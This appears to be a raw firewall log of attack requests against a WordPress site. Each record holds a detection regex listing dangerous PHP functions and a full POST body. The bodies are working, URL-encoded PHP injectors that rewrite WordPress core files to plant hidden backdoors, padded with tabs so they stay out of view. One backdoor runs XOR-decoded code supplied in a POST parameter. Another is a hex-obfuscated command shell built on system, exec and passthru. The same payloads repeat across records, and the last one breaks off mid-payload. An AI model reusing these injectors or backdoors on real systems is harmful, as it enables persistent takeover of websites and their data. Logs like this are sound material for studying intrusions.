%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4029\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLzpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\n\nbg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:49:29","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMRbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4029\naccept:*\/*\n\ndJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:49:35","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4052\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 12:49:49","78.142.18.172","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%